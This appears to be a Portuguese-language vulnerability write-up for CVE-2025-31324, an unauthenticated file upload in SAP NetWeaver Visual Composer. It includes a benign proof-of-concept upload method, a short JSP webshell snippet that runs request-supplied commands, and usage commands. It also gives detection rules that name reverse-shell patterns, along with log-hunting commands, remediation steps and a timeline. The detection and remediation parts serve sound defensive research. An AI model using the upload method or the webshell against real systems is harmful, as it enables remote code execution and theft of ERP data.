
Proof-of-concept exploit for CVE-2025-31324, an unauthenticated file upload in SAP NetWeaver Visual Composer, with detection guidance, MITRE mapping, and remediation steps.
Type: Proof of Concept — Vulnerability Research CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Status: Patched — SAP Security Note 3594142 + 3604119 Added to CISA KEV: May 2025
⚠️ Este PoC utiliza um arquivo JSP benigno ("Hello World") para validar a superfície de ataque sem executar código malicioso. Uso exclusivo em ambientes autorizados para fins de pentesting e desenvolvimento de detecções.
Developed by: HKK$ cat ./vulnerability_summary.txtA vulnerabilidade CVE-2025-31324 reside no componente Visual Composer Metadata Uploader do SAP NetWeaver AS Java — uma falha de missing authorization check que permite a qualquer atacante não autenticado enviar requisições POST para o endpoint /developmentserver/metadatauploader, resultando em upload irrestrito de arquivos arbitrários.
A CVE afeta especificamente o SAP NetWeaver Visual Composer Framework versão 7.50, com score CVSS 10.0 — o máximo possível.
Threat actors exploraram ativamente esta vulnerabilidade de janeiro a maio de 2025, implantando webshells persistentes em centenas de sistemas ao redor do mundo.
$ cat ./impact.txtPor operar com privilégios elevados e estar próximo a dados ERP, a movimentação lateral para SAP ABAP stacks ou bancos de dados conectados é trivial após a exploração.
A cadeia de exploração completa em ataques reais:
Upload JSP (CVE-2025-31324)
→ Webshell persistente no servidor
→ RCE como processo SAP (alta privilégio)
→ Acesso a dados ERP (Finance, HR, Supply Chain)
→ Lateral movement para ABAP / DB
→ Deploy de frameworks C2 (ex: Brute Ratel)
$ cat ./architecture.txt┌─────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-31324 — EXPLOIT FLOW │
│ │
│ ATACANTE SAP NETWEAVER AS JAVA │
│ │
│ POST /developmentserver/metadatauploader │
│ Content-Type: multipart/form-data ┌─────────────────────┐ │
│ Body: arquivo JSP/WAR/qualquer ──────────► │ Metadata Uploader │ │
│ (sem autenticação) │ │ │
│ │ ❌ Sem verificação │ │
│ │ de auth │ │
│ │ ❌ Sem validação │ │
│ │ de extensão │ │
│ │ ❌ Sem sanitização │ │
│ │ de conteúdo │ │
│ └────────┬────────────┘ │
│ │ │
│ Arquivo salvo em: │
│ /irj/root/ ou similar │
│ │ │
│ GET /irj/hello_world.jsp ◄──────────────────────────┘ │
│ → Hello World (PoC benigno) │
│ → Webshell (exploit real) │
└─────────────────────────────────────────────────────────────────────────┘
O /developmentserver/metadatauploader faz parte do SAP Visual Composer — uma ferramenta de desenvolvimento low-code para analistas de negócio criarem aplicações SAP sem código Java. O endpoint foi projetado para receber modelos de metadata durante o desenvolvimento. Embora o componente não esteja habilitado na configuração padrão do NetWeaver, a Onapsis reportou que está amplamente ativado em ambientes de produção.
$ cat ./design_decisions.mdfile_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""
Por que JSP e não outro formato?
O SAP NetWeaver AS Java executa uma JVM — arquivos .jsp são interpretados diretamente pelo servlet container (Apache Tomcat embutido) sem compilação prévia. Isso torna o JSP o formato ideal para webshells em ambientes Java.
A escolha do conteúdo benigno ("Hello World") é deliberada para o PoC:
Em exploração real, o conteúdo seria um webshell JSP com execução de comandos, ex:
<%
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
%>
multipart/form-data — Por que esse Content-Type?files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}
O endpoint espera uma requisição multipart/form-data — o mesmo formato usado por formulários HTML de upload de arquivo. Isso é intencional no design original do Visual Composer (upload de modelos de desenvolvimento).
A biblioteca requests monta automaticamente os boundaries do multipart quando files= é passado — o header Content-Type: multipart/form-data; boundary=... é gerado internamente.
verify=False: desabilita validação do certificado TLS — necessário porque ambientes SAP frequentemente usam certificados self-signed. Em produção, usar verify='/path/to/ca-bundle.crt'.
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
| Componente | Significado |
|---|---|
:50201 | Porta padrão do SAP ICM (Internet Communication Manager) HTTPS |
/developmentserver/ | Servlet de desenvolvimento do Visual Composer |
metadatauploader | Endpoint específico de upload de metadados |
CONTENTTYPE=MODEL | Tipo de conteúdo esperado pelo endpoint |
CLIENT=1 | Mandante SAP (client) — 000, 100, 001 são comuns |
$ cat ./mitre_mapping.ymltactic: Initial Access
- T1190 # Exploit Public-Facing Application
# Exploração do endpoint /developmentserver/metadatauploader
# sem autenticação via HTTP POST
tactic: Execution
- T1505.003 # Server Software Component: Web Shell
# JSP webshell uploaded → executado pelo servlet container (Tomcat)
tactic: Persistence
- T1505.003 # Web Shell como mecanismo de persistência
# Arquivo JSP persiste no filesystem do servidor entre reinicializações
tactic: Defense Evasion
- T1036 # Masquerading
# Webshells nomeados como arquivos legítimos SAP (ex: metadata.jsp)
tactic: Discovery
- T1082 # System Information Discovery
# Pós-RCE: enumerar processos, usuários, paths SAP
tactic: Lateral Movement
- T1210 # Exploitation of Remote Services
# Acesso ao ABAP stack, bancos de dados conectados via RCE
tactic: Collection
- T1005 # Data from Local System
# Acesso direto a dados ERP (Finance, HR, Supply Chain)
$ cat ./affected_versions.txtProduto: SAP NetWeaver Application Server Java
Componente: Visual Composer Framework
Versão: 7.50 (todas as builds antes do patch de abril/maio 2025)
Patches:
SSN 3594142 → Patch inicial (abril 2025) — mitiga file upload
SSN 3604119 → Root cause fix via CVE-2025-42999 (maio 2025) — endereça a causa raiz
SSN 3578900, 3620498, 3621771, 3634501 → Notas complementares de hardening
CISA KEV: ambos CVE-2025-31324 e CVE-2025-42999 foram adicionados ao catálogo
$ cat ./detection_opportunities.md# Regra: POST não autenticado para o endpoint do Metadata Uploader
# Fonte: SAP Web Dispatcher / ICM access log
Condição:
- method: POST
- uri_path CONTAINS: /developmentserver/metadatauploader
- auth_header: ABSENT
- body_content_type: multipart/form-data
Severidade: CRÍTICA — investigar imediatamente
# Log SAP ICM — padrão suspeito:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x
# Regra: GET para arquivo .jsp criado recentemente fora de paths legítimos SAP
Condição:
- method: GET
- uri_path MATCHES: /irj/.*\.jsp
- file_creation_time: < 24h
- file_NOT_IN: [lista de JSPs legítimos conhecidos]
# Processo filho suspeito do SAP JVM
# Fonte: Sysmon / EDR process creation
Condição:
- parent_process: java.exe ou jstart.exe
- child_process: cmd.exe OU powershell.exe OU sh OU bash
- command_line CONTAINS: -c OU .socket OU .call( OU .spawn(
O Red Canary documentou o seguinte padrão de detecção para exploração do CVE-2025-31324 em ambientes Linux: processo python com argumento -c combinado com .socket e .call( ou .spawn( — indicativo de reverse shell pós-webshell.
# Buscar requests POST para o endpoint vulnerável nos últimos 90 dias
# Diretório de logs: /usr/sap/<SID>/J<inst>/work/
grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"
# Listar JSPs criados recentemente no diretório web
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f
$ cat ./remediation.mdPRIORIDADE: CRÍTICA — Patch imediato
1. Verificar se o componente está ativo:
NWA → Configuration → Infrastructure → Java System Properties
Procurar: com.sap.tc.vccomp.server.vis.jms.VisJmsService
2. Se não for necessário → DESABILITAR o Visual Composer:
NWA → Start & Stop → Services → VisualComposer → Stop
3. Aplicar patches obrigatórios (em ordem):
SSN 3594142 ← crítico (file upload)
SSN 3604119 ← root cause (CVE-2025-42999)
SSN 3578900, 3620498, 3660659 (hardening adicional)
4. Configurar JVM Serial Filter (pós-patch):
NWA → JVM Parameters → adicionar filtro de classes maliciosas
5. Restringir acesso de rede ao endpoint no Web Dispatcher / Firewall:
BLOQUEAR: /developmentserver/* para IPs externos
PERMITIR: apenas hosts de desenvolvimento autorizados
6. Verificar IOCs — buscar webshells implantados antes do patch:
Analisar logs ICM desde janeiro 2025
Buscar arquivos .jsp com conteúdo suspeito em /irj/
$ cat ./usage.sh# Instalar dependência
pip install requests
# Editar a URL no script antes de executar:
# url = "https://<seu-host-lab>:<porta>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"
# Executar
python cve_2025_31324_poc.py
# Verificar se o upload funcionou (arquivo deve ser acessível)
curl -k https://<host>:<port>/irj/hello_world.jsp
# Resposta esperada se vulnerável: HTML com "Hello World"
# Resposta esperada se patchado: 404 ou 403
$ cat ./timeline.txtJan 2025 Início da exploração ativa in-the-wild (detectado retroativamente)
Abr 24, 2025 SAP publica CVE-2025-31324 (CVSS 10.0) + SSN 3594142
Abr 28, 2025 CISA adiciona ao Known Exploited Vulnerabilities Catalog
Abr 29, 2025 Rapid7, Qualys, Red Canary publicam análises técnicas
Mai 07, 2025 Onapsis + Mandiant (Google Cloud) publicam briefing conjunto
Mai 13, 2025 SAP publica SSN 3604119 (root cause via CVE-2025-42999, CVSS 9.1)
Mai 15, 2025 CISA adiciona CVE-2025-42999 ao KEV catalog
Mai 20, 2025 Deadline CISA para patching em sistemas federais dos EUA
Jun 25, 2025 Unit 42 encerra monitoramento ativo da campanha
$ cat ./references.mdCVE: https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note: https://me.sap.com/notes/3594142
NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis: https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7: https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42: https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/
$ cat ./lessons_learned.txt[+] Missing auth em endpoints de "desenvolvimento" é um vetor clássico subestimado
[+] CVSS 10.0 significa: sem auth + rede + full RCE — trifecta mais crítica possível
[+] Visual Composer não é padrão mas estava amplamente ativo em produção — risco de shadow features
[+] JSP como webshell é especialmente furtivo: sem compilação, executado diretamente pelo container
[+] Threat actors exploraram por 3+ meses antes da divulgação pública — SOC detection é crítico
[-] verify=False no PoC — em pentest real, documentar o cert self-signed e usar verify=caminho
[-] CLIENT=1 hardcoded — produção pode usar 000, 100, 200; enumerar antes
[-] PoC não verifica se o arquivo ficou acessível após upload — adicionar GET de confirmação
[→] Melhorias: argparse para host/port/client, verificação automática pós-upload, saída em JSON
CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only